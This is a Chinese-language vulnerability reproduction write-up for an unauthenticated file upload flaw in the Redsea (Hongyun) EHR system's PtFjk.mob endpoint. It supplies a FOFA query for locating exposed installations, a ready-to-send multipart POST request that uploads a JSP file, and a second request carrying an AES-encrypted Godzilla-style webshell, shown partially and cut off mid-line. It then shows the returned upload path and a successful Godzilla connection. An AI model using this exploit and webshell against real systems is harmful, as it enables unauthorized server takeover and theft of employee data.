H23-1红海云-EHR系统-文件上传

漏洞描述：

红海云EHR系统PtFjk.mob接口处存在未授权文件上传漏洞，攻击者可上传webshell来命令执行，获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/RedseaPlatform/skins/images/favicon.ico"

漏洞复现：

payload：

```
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
```

效果图：

回显了上传路径
验证

hello,eHR

上传webshell

Request

```
1  POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
2  Host ▒:▒▒▒▒▒▒▒▒▒▒
3  Accept-Encoding: gzip
4  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
   Gecko) Version/12.0.3 Safari/605.1.15
5  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
6
7  ------WebKitFormBoundaryt7WbDl1tXogoZys4
8  Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9  Content-Type:image/jpeg
10
11 <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends
   ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass
   (cb, 0, cb.length);}}public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.
   Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
   return c.doFinal(s);}catch (Exception e){return null;}} public static String md5(String s)
   {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance
   ("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString
   (16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[]
   bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.
   Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)
   Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new
   Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder");
   Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new
   Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return
   value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value =
```

Responses
386bytes / 48ms

```
1  HTTP/1.1 200
2  Server: nginx
3  Date: Fri, 08 Dec 2023 18:47:45 GMT
4  Content-Type: text/html; charset=utf-8
5  Connection: keep-alive
6  Set-Cookie: JSESSIONID=F6F8706A7CBD797E15E
7  Content-Length: 386
8
9  { "id":"6813eaf5-4780-4ccf-91a6-7b00baf5e
      "fileSuffix":".jsp", "fileSize":"2617", "
      20231209_0247456608444775.jsp", "herfUrl"
      jsp", "ywType":"", "description":"", "ope
      GMT+08:00 2023", "inUse":"", "char1":"",
```

尝试连接

目标　管理　配置　关于　插件　　　　　　哥斯拉　V4.01 by: BeichenDream Github:https://github.com/BeichenDream/Godzilla

分组	id	url	payload		remark	createTime
/						

Shell Setting

基础配置　请求配置

URL	l231209 0247456608444775.jsp
密码	pass
密钥	key
连接超时	3000
读取超时	
代理主机	
代理端口	
备注	
GROUP	/
代理类型	NO_PROXY
编码	UTF-8
有效载荷	JavaDynamicPayload

提示

Success!

确定